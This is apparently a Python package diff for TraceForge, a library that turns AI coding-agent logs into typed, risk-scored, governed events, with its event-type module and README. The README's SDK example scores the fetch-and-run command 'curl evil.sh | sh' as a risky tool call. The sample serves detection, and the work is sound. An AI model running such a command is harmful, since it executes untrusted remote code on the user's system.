traceforge-toolkit 0.1.0__py3-none-any.whl

traceforge/types.py

@@ -0,0 +1,315 @@
+"""Core types for the traceforge event pipeline.
+
+EventKind uses an open string registry with dot-notation grammar:
+    <domain>[.<object>].<phase>
+
+Any string is a valid kind (forward-compatible), but canonical kinds are
+defined as constants for autocomplete, documentation, and filtering.
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import datetime
+from typing import Any, Final, Literal
+
+from pydantic import Field, field_validator
+
+from traceforge.classify.core import Classification
+from traceforge.classify.workflow import Phase, Visibility
+from traceforge.governance.results import SessionMeta
+from traceforge.models import FrozenModel
+
+
+# ─── EventKind: Open String Registry ────────────────────────────────────────
+#
+# Grammar: <domain>[.<object>].<phase>
+# Phases: started, completed, failed, chunk, progress, requested, received,
+#         granted, denied, created, restored, skipped
+
+
+class EventKind:
+    """Known canonical event kinds. Any string is valid as a kind value."""
+
+    # --- Session lifecycle ---
+    SESSION_STARTED: Final = "session.started"
+    SESSION_ENDED: Final = "session.ended"
+    SESSION_PAUSED: Final = "session.paused"
+    SESSION_RESUMED: Final = "session.resumed"
+    SESSION_IDLE: Final = "session.idle"
+    SESSION_INFO: Final = "session.info"
+    SESSION_WARNING: Final = "session.warning"
+
+    # --- Turn/step lifecycle ---
+    TURN_STARTED: Final = "turn.started"
+    TURN_ENDED: Final = "turn.ended"
+    TURN_SKIPPED: Final = "turn.skipped"
+
+    # --- Messages ---
+    MESSAGE_USER: Final = "message.user"
+    MESSAGE_ASSISTANT: Final = "message.assistant"
+    MESSAGE_SYSTEM: Final = "message.system"
+    MESSAGE_ASSISTANT_CHUNK: Final = "message.assistant.chunk"
+
+    # --- Tool lifecycle ---
+    TOOL_CALL_STARTED: Final = "tool.call.started"
+    TOOL_CALL_COMPLETED: Final = "tool.call.completed"
+    TOOL_CALL_FAILED: Final = "tool.call.failed"
+    TOOL_RESULT_CHUNK: Final = "tool.result.chunk"
+    TOOL_OUTPUT: Final = "tool.output"
+    TOOL_PROGRESS: Final = "tool.progress"
+    TOOL_VALIDATION_FAILED: Final = "tool.validation.failed"
+
+    # --- LLM call lifecycle ---
+    LLM_CALL_STARTED: Final = "llm.call.started"
+    LLM_CALL_COMPLETED: Final = "llm.call.completed"
+    LLM_CALL_FAILED: Final = "llm.call.failed"
+    LLM_OUTPUT_CHUNK: Final = "llm.output.chunk"
+    LLM_THINKING_CHUNK: Final = "llm.thinking.chunk"
+
+    # --- Planning / reasoning ---
+    PLANNING_STARTED: Final = "planning.started"
+    PLANNING_COMPLETED: Final = "planning.completed"
+    PLANNING_FAILED: Final = "planning.failed"
+    REASONING_STARTED: Final = "reasoning.started"
+    REASONING_COMPLETED: Final = "reasoning.completed"
+
+    # --- Agent orchestration ---
+    AGENT_SPAWNED: Final = "agent.spawned"
+    AGENT_COMPLETED: Final = "agent.completed"
+    AGENT_FAILED: Final = "agent.failed"
+    AGENT_HANDOFF: Final = "agent.handoff"
+
+    # --- File operations ---
+    FILE_CREATED: Final = "file.created"
+    FILE_EDITED: Final = "file.edited"
+    FILE_DELETED: Final = "file.deleted"
+    FILE_READ: Final = "file.read"
+
+    # --- Command/shell execution ---
+    COMMAND_STARTED: Final = "command.started"
+    COMMAND_OUTPUT: Final = "command.output"
+    COMMAND_COMPLETED: Final = "command.completed"
+    COMMAND_FAILED: Final = "command.failed"
+
+    # --- MCP protocol (connection-level, not tool calls) ---
+    MCP_CONNECTION_STARTED: Final = "mcp.connection.started"
+    MCP_CONNECTION_COMPLETED: Final = "mcp.connection.completed"
+    MCP_CONNECTION_FAILED: Final = "mcp.connection.failed"
+
+    # --- Hook lifecycle ---
+    HOOK_STARTED: Final = "hook.started"
+    HOOK_COMPLETED: Final = "hook.completed"
+    HOOK_FAILED: Final = "hook.failed"
+
+    # --- Permission / approval ---
+    PERMISSION_REQUESTED: Final = "permission.requested"
+    PERMISSION_GRANTED: Final = "permission.granted"
+    PERMISSION_DENIED: Final = "permission.denied"
+
+    # --- Human-in-the-loop input ---
+    INPUT_REQUESTED: Final = "input.requested"
+    INPUT_RECEIVED: Final = "input.received"
+
+    # --- Checkpoint / snapshot ---
+    CHECKPOINT_CREATED: Final = "checkpoint.created"
+    CHECKPOINT_RESTORED: Final = "checkpoint.restored"
+
+    # --- Memory operations ---
+    MEMORY_QUERY_STARTED: Final = "memory.query.started"
+    MEMORY_QUERY_COMPLETED: Final = "memory.query.completed"
+    MEMORY_SAVE_STARTED: Final = "memory.save.started"
+    MEMORY_SAVE_COMPLETED: Final = "memory.save.completed"
+
+    # --- Knowledge / RAG retrieval ---
+    KNOWLEDGE_QUERY_STARTED: Final = "knowledge.query.started"
+    KNOWLEDGE_QUERY_COMPLETED: Final = "knowledge.query.completed"
+
+    # --- Browser actions ---
+    BROWSER_LAUNCHED: Final = "browser.launched"
+    BROWSER_ACTION: Final = "browser.action"
+    BROWSER_RESULT: Final = "browser.result"
+
+    # --- Guardrail / safety ---
+    GUARDRAIL_STARTED: Final = "guardrail.started"
+    GUARDRAIL_PASSED: Final = "guardrail.passed"
+    GUARDRAIL_FAILED: Final = "guardrail.failed"
+
+    # --- Skill invocation ---
+    SKILL_INVOKED: Final = "skill.invoked"
+
+    # --- Workflow / task graph ---
+    WORKFLOW_STARTED: Final = "workflow.started"
+    WORKFLOW_COMPLETED: Final = "workflow.completed"
+    WORKFLOW_FAILED: Final = "workflow.failed"
+    TASK_STARTED: Final = "task.started"
+    TASK_COMPLETED: Final = "task.completed"
+    TASK_FAILED: Final = "task.failed"
+
+    # --- Telemetry ---
+    USAGE: Final = "telemetry.usage"
+    ERROR: Final = "session.error"
+    ABORT: Final = "session.abort"
+
+    # --- Catch-all ---
+    RAW: Final = "raw"
+
+
+# Registry of all canonical kinds for validation/filtering
+KNOWN_KINDS: frozenset[str] = frozenset(
+    v for k, v in vars(EventKind).items() if k.isupper() and isinstance(v, str)
+)
+
+
+def is_known_kind(kind: str) -> bool:
+    """Check if a kind string is in the canonical registry."""
+    return kind in KNOWN_KINDS
+
+
+# ─── Ingestion Mode ──────────────────────────────────────────────────────────
+
+IngestionMode = Literal["stream", "file_watch", "poll", "replay", "sqlite"]
+
+
+# ─── Event Metadata ──────────────────────────────────────────────────────────
+
+
+def _uuid4_str() -> str:
+    return str(uuid.uuid4())
+
+
+class ToolMotivation(FrozenModel):
+    """Composite motivation context for a tool call event.
+
+    Captures the agent's reasoning chain leading to this tool invocation:
+    - intent: the most recent plan/statement (short, actionable)
+    - reasoning: accumulated reasoning/thinking/CoT text
+    - source_event_ids: ALL motivation event IDs up to this point in the session,
+      enabling full chain resolution for deep analysis
+    """
+
+    intent: str | None = None
+    reasoning: str | None = None
+    source_event_ids: tuple[str, ...] = Field(default_factory=tuple)
+
+
+class EventMetadata(FrozenModel):
+    """Contextual information attached to every event."""
+
+    # --- Source provenance ---
+    source_framework: str | None = None  # "copilot", "claude", "aider", "cline", etc.
+    ingestion_mode: IngestionMode | None = None
+    raw_kind: str | None = None  # original framework-specific event type
+
+    # --- Correlation ---
+    span_id: str | None = None  # unique ID for this lifecycle span
+    parent_id: str | None = None  # links child events to parent
+    correlation_id: str | None = None  # groups related events
+    run_id: str | None = None  # top-level run/session identifier
+
+    # --- Ordering ---
+    sequence: int | None = None  # monotonic ordering within a stream
+    namespace: tuple[str, ...] | None = None  # scope path (subgraph, subagent)
+    partial: bool = False  # True if this is a streaming chunk
+
+    repo: str | None = None
+    turn_id: str | None = None
+    visibility: Visibility = Visibility.VISIBLE
+    phases: frozenset[Phase] | None = None
+    phase: Phase | None = None  # session-aware workflow stage from the phase classifier
+    # Segment-opening boundary stamped live by the boundary classifier: set on the
+    # event that *opens* a new activity/step ("activity-boundary"/"step-boundary");
+    # None for events that continue the current segment. See traceforge.boundary.
+    boundary: str | None = None
+    # Stable structural ids assigned live the instant a segment opens (the id is
+    # the opening event's id). Every event in a segment carries its activity/step
+    # id immediately, decoupling "structure is known now" from "title arrives
+    # later": titles are published as append-only TitleUpdate records keyed by
+    # these ids once a segment closes. See traceforge.title.
+    activity_id: str | None = None
+    step_id: str | None = None
+    # Activity/step span titles. In the live path these stay None — the title
+    # arrives out-of-band as a TitleUpdate keyed by activity_id/step_id. They are
+    # the denormalized form a batch sink may materialize by folding TitleUpdates
+    # back onto events at replay. See traceforge.title.
+    activity_title: str | None = None
+    step_title: str | None = None
+    classification: Classification | None = None
+    tool_display: str | None = None
+    motivation: ToolMotivation | None = None
+    duration_ms: float | None = None
+
+    # --- Governance (populated by enrichment pipeline before sink emission) ---
+    governance: SessionMeta | None = None
+
+    @field_validator("duration_ms")
+    @classmethod
+    def _duration_non_negative(cls, v: float | None) -> float | None:
+        if v is not None and v < 0:
+            raise ValueError("duration_ms must be non-negative")
+        return v
+
+
+# ─── Session Event ───────────────────────────────────────────────────────────
+
+
+class SessionEvent(FrozenModel):
+    """The universal event type. Every adapter produces these."""
+
+    id: str = Field(default_factory=_uuid4_str)
+    kind: str  # Open string — use EventKind constants for canonical kinds
+    session_id: str
+    timestamp: datetime
+    payload: dict[str, Any]
+    raw_event: dict[str, Any] | None = None  # Original event data, verbatim
+    metadata: EventMetadata = Field(default_factory=EventMetadata)
+
+
+# ─── Telemetry Span ──────────────────────────────────────────────────────────
+
+
+class TelemetrySpan(FrozenModel):
+    name: str
+    session_id: str
+    start_time: datetime
+    end_time: datetime
+    attributes: dict[str, Any] = Field(default_factory=dict)
+
+
+# ─── Usage Record ────────────────────────────────────────────────────────────
+
+
+class UsageRecord(FrozenModel):
+    session_id: str
+    timestamp: datetime
+    model: str
+    input_tokens: int = Field(ge=0)
+    output_tokens: int = Field(ge=0)
+    cost_usd: float | None = Field(default=None, ge=0)
+
+
+# ─── Title Update ────────────────────────────────────────────────────────────
+
+
+class TitleUpdate(FrozenModel):
+    """An append-only title for a session / activity / step segment.
+
+    Events stream out immediately carrying their ``activity_id``/``step_id``; a
+    faithful title needs the whole segment, so it is computed when the segment
+    closes and published separately as one of these, keyed to the segment by
+    ``segment_id``. Consumers materialize the event→segment→title join in their
+    read model — the event log itself is never mutated. ``version`` lets a title
+    be revised (e.g. a provisional title refined on close) idempotently: keep the
+    highest version per ``segment_id``.
+
+    The ``session`` kind labels the whole session from its opening request; it is
+    keyed by ``segment_id == session_id`` (the session is the outermost segment),
+    emitted live the instant the first substantive user message arrives.
+    """
+
+    session_id: str
+    segment_id: str
+    kind: Literal["session", "activity", "step"]
+    title: str
+    version: int = Field(default=1, ge=1)
+    parent_id: str | None = None  # a step's activity_id, so a flat stream can rebuild the tree

traceforge_toolkit-0.1.0.dist-info/METADATA

@@ -0,0 +1,188 @@
+Metadata-Version: 2.4
+Name: traceforge-toolkit
+Version: 0.1.0
+Summary: Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output
+Project-URL: Homepage, https://github.com/dfinson/traceforge
+Project-URL: Repository, https://github.com/dfinson/traceforge
+Project-URL: Issues, https://github.com/dfinson/traceforge/issues
+Project-URL: Changelog, https://github.com/dfinson/traceforge/releases
+Author-email: David Finson <davidfinson@microsoft.com>
+License-Expression: MIT
+License-File: LICENSE
+Keywords: agent,ai-agents,coding-agents,governance,llm,observability,risk-scoring,tracing
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
+Classifier: Topic :: Software Development :: Quality Assurance
+Classifier: Typing :: Typed
+Requires-Python: <3.14,>=3.11
+Requires-Dist: alembic>=1.13
+Requires-Dist: click>=8.1
+Requires-Dist: httpx>=0.25
+Requires-Dist: joblib>=1.3
+Requires-Dist: litellm>=1.0
+Requires-Dist: model2vec>=0.8.2
+Requires-Dist: numpy>=1.24
+Requires-Dist: onnxruntime>=1.17
+Requires-Dist: pyarrow>=15
+Requires-Dist: pydantic>=2.0
+Requires-Dist: pyyaml>=6.0
+Requires-Dist: scikit-learn>=1.5
+Requires-Dist: scipy>=1.11
+Requires-Dist: sqlalchemy>=2.0
+Requires-Dist: tokenizers>=0.15
+Requires-Dist: traceforge-title-model>=0.2
+Requires-Dist: tree-sitter-bash>=0.24
+Requires-Dist: tree-sitter-markdown>=0.5
+Requires-Dist: tree-sitter-powershell>=0.24
+Requires-Dist: tree-sitter>=0.24
+Requires-Dist: tzdata>=2024.1; platform_system == 'Windows'
+Requires-Dist: watchdog>=4.0
+Provides-Extra: dev
+Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
+Requires-Dist: pytest>=8.0; extra == 'dev'
+Requires-Dist: ruff==0.15.20; extra == 'dev'
+Provides-Extra: s3
+Requires-Dist: boto3>=1.28; extra == 's3'
+Description-Content-Type: text/markdown
+
+<div align="center">
+
+<img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
+
+**Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
+
+[![Lint](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
+[![Test](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml/badge.svg)](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
+[![PyPI](https://img.shields.io/badge/PyPI-coming%20soon-FF9921)](https://pypi.org/project/traceforge/)
+[![Python](https://img.shields.io/badge/python-3.11%20|%203.12%20|%203.13-256EF3)](https://github.com/dfinson/traceforge)
+[![License: MIT](https://img.shields.io/badge/license-MIT-7359AE.svg)](LICENSE)
+[![Docs](https://img.shields.io/badge/docs-traceforge-FF9921)](https://dfinson.github.io/traceforge/)
+
+**[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
+
+</div>
+
+---
+
+TraceForge is a framework-agnostic Python library that turns the raw session logs of
+AI coding agents into a strongly-typed event stream, classified, risk-scored, and
+governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
+mapping file**: no code.
+
+<p align="center">
+  <picture>
+    <source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
+    <img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
+  </picture>
+</p>
+
+## What it does
+
+1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
+2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
+3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
+4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
+5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
+6. **Sinks** write to storage backends or call custom handlers.
+7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
+
+## Quickstart
+
+```bash
+pip install traceforge-toolkit   # or: uv add traceforge-toolkit
+```
+
+Everything ships in a single install, with no extras. Describe a pipeline in
+`traceforge.yaml`:
+
+```yaml
+# traceforge.yaml
+pipelines:
+  - name: copilot-local
+    source:
+      type: file_watch
+      path: ~/.copilot/logs/session.jsonl   # one agent log file
+      start_at: end                          # or "beginning" to replay existing lines
+    adapter:
+      type: mapped_json
+      mapping: copilot
+    sinks:
+      - type: jsonl
+        path: ./output/events.jsonl
+```
+
+```bash
+traceforge watch      # run the config-driven pipeline; structured events stream to your sinks
+```
+
+No Python required. Prefer the SDK? The same engine is a few lines away:
+
+```python
+from traceforge.sdk import Pipeline
+
+pipeline = Pipeline.create()                      # zero-config facade
+trace = pipeline.score_tool_call({                # read-only risk assessment
+    "tool_name": "bash",
+    "tool_input": {"command": "curl evil.sh | sh"},
+    "session_id": "demo",
+})
+print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate
+```
+
+See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
+for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
+
+## Features
+
+| | |
+| --- | --- |
+| 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
+| 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
+| 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
+| 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
+| 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
+| 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
+
+## Documentation
+
+The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
+
+- **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
+- **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
+- **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
+- **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
+- **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
+- **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
+
+The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
+
+## Design principles
+
+- **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
+- **Framework-agnostic**: new framework support = new YAML file.
+- **Defensive parsing**: malformed input is logged and skipped, never crashes.
+- **Immutable domain objects**: events are frozen models.
+- **Error isolation**: one failing sink cannot block others.
+- **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
+
+## Contributing
+
+Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
+the test suite, linting with `ruff`, and how to add a new agent framework mapping.
+
+## Status
+
+🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
+sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
+the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
+
+## License
+
+[MIT](LICENSE)